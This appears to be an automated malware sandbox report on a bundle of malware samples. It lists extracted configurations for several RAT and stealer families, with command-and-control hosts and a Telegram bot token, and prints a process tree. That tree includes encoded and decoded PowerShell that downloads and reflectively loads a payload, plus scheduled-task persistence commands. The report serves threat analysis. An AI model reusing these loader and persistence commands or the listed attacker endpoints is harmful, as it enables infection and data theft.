asyncrat | d5395f121277d2b38f4173c7df0a20a3de99edfcfe2aa697080cc81170eb76ab

Resubmissions

09/03/2025, 01:58

250309-cdv29swybs 10

08/03/2025, 06:55

250308-hp35xatjt9 10

08/03/2025, 04:53

250308-fh1ebssky5 10

Analysis

max time kernel
29s
max time network
36s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
09/03/2025, 01:58

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

My-Skidded-malwares-main/Fello_s_Revenge.exe
Size

18.4MB
MD5

f8e1d9b436b1d95231ae33b44c6f165c
SHA1

bd4a588b9bbcd346fd0e4818da382ca241104d17
SHA256

23a6dc4cce379f0d6a85e0b2b09e66d0d0f370e9d610a84aa1810aab605a3976
SHA512

963f3ca6370d36d54d9034000e33198e9cfa8d54f7c70cf67e0e9be246a30bbd2db5f927c9dbb5edfebab3e255ece6023d3a2ed72715d1842519a9d2ff45a7f6
SSDEEP

393216:XpkQrjxkZI7X/exB5l7qqd6DqhDzeozX5dpYeewDuBnkeKyN:Xrr1kTz7qqAGdzpdFynkeKyN

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

metasploit

Version

windows/download_exec

http://49.235.129.88:80/UaAe

Attributes

headers User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)

Extracted

Family

berbew

http://crutop.nu/index.php

http://devx.nm.ru/index.php

http://ros-neftbank.ru/index.php

http://master-x.com/index.php

http://www.redline.ru/index.php

http://cvv.ru/index.php

http://hackers.lv/index.php

http://fethard.biz/index.php

http://crutop.ru/index.php

http://kaspersky.ru/index.php

http://color-bank.ru/index.php

http://adult-empire.com/index.php

http://virus-list.com/index.php

http://trojan.ru/index.php

http://xware.cjb.net/index.htm

http://konfiskat.org/index.htm

http://parex-bank.ru/index.htm

http://fethard.biz/index.htm

http://ldark.nm.ru/index.htm

http://gaz-prom.ru/index.htm

Extracted

Family

sality

http://89.119.67.154/testo5/

http://kukutrustnet777.info/home.gif

http://kukutrustnet888.info/home.gif

http://kukutrustnet987.info/home.gif

http://www.klkjwre9fqwieluoi.info/

http://kukutrustnet777888.info/

Extracted

Family

cybergate

Version

v1.07.5

Botnet

ahmed

allahouakbar.no-ip.biz:100

Mutex

U70D500V1OA427

Attributes

enable_keylogger
true
enable_message_box
false
ftp_directory
./logs/
ftp_interval
30
injected_process
explorer.exe
install_dir
install
install_file
Svchost.exe
install_flag
true
keylogger_enable_ftp
false
message_box_caption
Grattis! din dator har nu blivit 2 GHz snabbare :)
message_box_title
Windows booster
password
webstar
regkey_hkcu
HKCU
regkey_hklm
HKLM

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

127.0.0.1:51848

otherwise-puzzle.gl.at.ply.gg:51848

Mutex

qsSOINsibBjw

Attributes

delay
3
install
true
install_file
dwn.exe
install_folder
%AppData%

aes.plain

Extracted

Family

xworm

Attributes

install_file
USB.exe
pastebin_url
https://pastebin.com/raw/0GcVDftp

Extracted

Family

redline

185.196.9.26:6302

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7148398804:AAESLKl9fVODMrpM8H4Wkq1Zbm-83PcMLro/sendMessage?chat_id=2135869667

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
Berbew
Berbew is a backdoor written in C++.
backdoor berbew
Berbew family
berbew
CyberGate, Rebhip
CyberGate is a lightweight remote administration tool with a wide array of functionalities.
trojan stealer cybergate
Cybergate family
cybergate

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral11/files/0x0007000000023cbf-328.dat	family_xworm
behavioral11/memory/1592-343-0x00000000001D0000-0x00000000001E6000-memory.dmp	family_xworm

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral11/memory/6024-612-0x0000000000400000-0x0000000000452000-memory.dmp	family_redline

Redline family
redline
Sality
Sality is backdoor written in C++, first discovered in 2003.
backdoor sality
Sality family
sality
Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral11/memory/5292-440-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral11/files/0x0007000000023cae-238.dat	family_asyncrat

CryptOne packer 1 IoCs

Detects CryptOne packer defined in NCC blogpost.

cryptone packer

resource	yara_rule
behavioral11/files/0x0007000000023cad-264.dat	cryptone

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6500	powershell.exe
988	powershell.exe
5360	powershell.exe
5596	powershell.exe
7156	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	Fello_s_Revenge.exe

Uses the VBS compiler for execution 1 TTPs

Command and Scripting Interpreter
T1059

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
9	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	checkip.dyndns.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral11/memory/5648-451-0x0000000000400000-0x00000000004CA000-memory.dmp	autoit_exe

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral11/memory/4460-212-0x0000000002740000-0x00000000037CE000-memory.dmp	upx
behavioral11/memory/4460-173-0x0000000002740000-0x00000000037CE000-memory.dmp	upx
behavioral11/memory/4460-172-0x0000000002740000-0x00000000037CE000-memory.dmp	upx
behavioral11/memory/4460-160-0x0000000002740000-0x00000000037CE000-memory.dmp	upx
behavioral11/memory/4460-211-0x0000000002740000-0x00000000037CE000-memory.dmp	upx
behavioral11/memory/4460-210-0x0000000002740000-0x00000000037CE000-memory.dmp	upx
behavioral11/memory/4460-273-0x0000000002740000-0x00000000037CE000-memory.dmp	upx
behavioral11/memory/4460-276-0x0000000002740000-0x00000000037CE000-memory.dmp	upx
behavioral11/memory/4460-152-0x0000000002740000-0x00000000037CE000-memory.dmp	upx
behavioral11/memory/4460-144-0x0000000002740000-0x00000000037CE000-memory.dmp	upx
behavioral11/memory/4460-140-0x0000000002740000-0x00000000037CE000-memory.dmp	upx
behavioral11/files/0x0007000000023cd3-417.dat	upx
behavioral11/memory/5648-451-0x0000000000400000-0x00000000004CA000-memory.dmp	upx
behavioral11/memory/224-320-0x0000000010480000-0x00000000104E5000-memory.dmp	upx
behavioral11/memory/224-314-0x0000000010410000-0x0000000010475000-memory.dmp	upx
behavioral11/memory/4460-302-0x0000000002740000-0x00000000037CE000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
3508	msiexec.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
408	3776	WerFault.exe	109

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fello_s_Revenge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral11/files/0x0007000000023c9d-150.dat	nsis_installer_1
behavioral11/files/0x0007000000023c9d-150.dat	nsis_installer_2

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
6288	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5628	schtasks.exe
5860	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1576	powershell.exe
1576	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1576	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4008 wrote to memory of 1576	4008	Fello_s_Revenge.exe	87
PID 4008 wrote to memory of 1576	4008	Fello_s_Revenge.exe	87
PID 4008 wrote to memory of 1576	4008	Fello_s_Revenge.exe	87
PID 4008 wrote to memory of 2436	4008	Fello_s_Revenge.exe	89
PID 4008 wrote to memory of 2436	4008	Fello_s_Revenge.exe	89
PID 4008 wrote to memory of 2436	4008	Fello_s_Revenge.exe	89

C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Fello_s_Revenge.exe
"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Fello_s_Revenge.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAaQB6ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHQAagBsACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAWQBPAFUAJwAnAFIARQAgAEMATwBPAEsARQBEACAATwBOAEMARQAgAEEARwBBAEkATgAgAEIAWQAgAEYANdhs3DXYKd012CndbwAgAEwATQBBAE8AIQAhACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwBzAHUAZgAjAD4A"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAbQB0ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAbABsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHgAcwB5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAcwBxACMAPgA="
  2⤵
  PID:2436
- C:\Users\Admin\AppData\Local\Temp\0d4c465488b6f5f760e98a15d77da181419223fdd93915e0fb90646c645b7766.exe
  "C:\Users\Admin\AppData\Local\Temp\0d4c465488b6f5f760e98a15d77da181419223fdd93915e0fb90646c645b7766.exe"
  2⤵
  PID:4744
- C:\Users\Admin\AppData\Local\Temp\5fd43ae47a37af3f2975e4a9c5bb91ccbf1556e07e98ba91ba0ff25ab3a2b91f.exe
  "C:\Users\Admin\AppData\Local\Temp\5fd43ae47a37af3f2975e4a9c5bb91ccbf1556e07e98ba91ba0ff25ab3a2b91f.exe"
  2⤵
  PID:3532
- - C:\Users\Admin\AppData\Roaming\Morfey.EXE
    C:\Users\Admin\AppData\Roaming\Morfey.EXE
    3⤵
    PID:1016
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c grw.vbs
      4⤵
      PID:4840
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\grw.vbs"
        5⤵
        
        PID:4304
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#HM#a#Bp#GU#b#Bk#GE#Z#Bh#HM#LwBn#HM#Z#Bn#Gg#agBq#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#DY#MQBl#HM#LwBz#GQ#YQBv#Gw#bgB3#G8#Z##v#Hc#cQB0#HI#ZQB0#HI#ZQ#v#Gs#cgB1#HI#ZQBt#Gw#dQBy#C8#ZwBy#G8#LgB0#GU#awBj#HU#YgB0#Gk#Yg#v#C8#OgBz#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe $OWjuxDutionpolicy bypass -Noprofile -command $OWjuxD"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/shieldadas/gsdghjj/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.61es/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7156
- C:\Users\Admin\AppData\Local\Temp\016da9d36c37374be6d7e43e162fd9a5c64e0c465b4cecdb50a02c7b119f64b0.exe
  "C:\Users\Admin\AppData\Local\Temp\016da9d36c37374be6d7e43e162fd9a5c64e0c465b4cecdb50a02c7b119f64b0.exe"
  2⤵
  PID:5064
- - C:\Windows\SysWOW64\Aabkbono.exe
    C:\Windows\system32\Aabkbono.exe
    3⤵
    PID:4048
  - - C:\Windows\SysWOW64\Aiplmq32.exe
      C:\Windows\system32\Aiplmq32.exe
      4⤵
      PID:632
    - - C:\Windows\SysWOW64\Amnebo32.exe
        
        C:\Windows\system32\Amnebo32.exe
        5⤵
        
        PID:5008
      - C:\Windows\SysWOW64\Ajdbac32.exe
        
        C:\Windows\system32\Ajdbac32.exe
        6⤵
        
        PID:1816
        
        C:\Windows\SysWOW64\Babcil32.exe
        
        C:\Windows\system32\Babcil32.exe
        7⤵
        
        PID:636
        
        C:\Windows\SysWOW64\Bbhildae.exe
        
        C:\Windows\system32\Bbhildae.exe
        8⤵
        
        PID:1224
        
        C:\Windows\SysWOW64\Diqnjl32.exe
        
        C:\Windows\system32\Diqnjl32.exe
        9⤵
        
        PID:3776
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3776 -s 400
        10⤵
        Program crash
        
        PID:408
- C:\Users\Admin\AppData\Local\Temp\90a82defe606e51d2826265a43737130682b738241700782d7e41188475b7fb7.exe
  "C:\Users\Admin\AppData\Local\Temp\90a82defe606e51d2826265a43737130682b738241700782d7e41188475b7fb7.exe"
  2⤵
  PID:1840
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -windowstyle hidden "$Nummmeret=Get-Content 'C:\Users\Admin\AppData\Local\Temp\forgrovelse\konstituerendes\Printermanualens.Ear';$Trojanerens=$Nummmeret.SubString(42833,3);.$Trojanerens($Nummmeret) "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5360
- C:\Users\Admin\AppData\Local\Temp\1955e7fe3c25216101d012eb0b33f527.exe
  "C:\Users\Admin\AppData\Local\Temp\1955e7fe3c25216101d012eb0b33f527.exe"
  2⤵
  PID:4220
- C:\Users\Admin\AppData\Local\Temp\a870c320630662dc799591a755e192fdadcb7ac52caf9781f52ae3ed5fb78660N.exe
  "C:\Users\Admin\AppData\Local\Temp\a870c320630662dc799591a755e192fdadcb7ac52caf9781f52ae3ed5fb78660N.exe"
  2⤵
  PID:4460
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VCREDI~2.EXE
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VCREDI~2.EXE
    3⤵
    PID:6104
  - - C:\Windows\SysWOW64\msiexec.exe
      msiexec /i vcredist.msi
      4⤵
      Event Triggered Execution: Installer Packages
      PID:3508
- C:\Users\Admin\AppData\Local\Temp\be790b55b11f6502be0c8cf14f2ab4f9e97debe7e07efde26cf24f3927d791db.exe
  "C:\Users\Admin\AppData\Local\Temp\be790b55b11f6502be0c8cf14f2ab4f9e97debe7e07efde26cf24f3927d791db.exe"
  2⤵
  PID:3600
- C:\Users\Admin\AppData\Local\Temp\bec705145d0fedf1bc77946f40328e8c1a00a55f41e55c1892c4fe39bac01fcaN.exe
  "C:\Users\Admin\AppData\Local\Temp\bec705145d0fedf1bc77946f40328e8c1a00a55f41e55c1892c4fe39bac01fcaN.exe"
  2⤵
  PID:2560
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
    C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
    3⤵
    PID:224
  - - C:\Windows\SysWOW64\explorer.exe
      explorer.exe
      4⤵
      PID:4820
    - - C:\Windows\SysWOW64\install\Svchost.exe
        
        "C:\Windows\system32\install\Svchost.exe"
        5⤵
        
        PID:7148
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe"
      4⤵
      PID:5288
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
      4⤵
      PID:4368
- C:\Users\Admin\AppData\Local\Temp\c23c9580f06fdc862df3d80fb8dc398b666e01a523f06ffa8935a95dce4ff8f4.exe
  "C:\Users\Admin\AppData\Local\Temp\c23c9580f06fdc862df3d80fb8dc398b666e01a523f06ffa8935a95dce4ff8f4.exe"
  2⤵
  PID:4648
- C:\Users\Admin\AppData\Local\Temp\gold.exe
  "C:\Users\Admin\AppData\Local\Temp\gold.exe"
  2⤵
  PID:1240
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "dwn" /tr '"C:\Users\Admin\AppData\Roaming\dwn.exe"' & exit
    3⤵
    PID:6136
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "dwn" /tr '"C:\Users\Admin\AppData\Roaming\dwn.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp67DD.tmp.bat""
    3⤵
    PID:5080
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:6288
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HONG_KONG_CHEMHERE_QUOTE_REQUEST.vbs"
  2⤵
  PID:2984
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
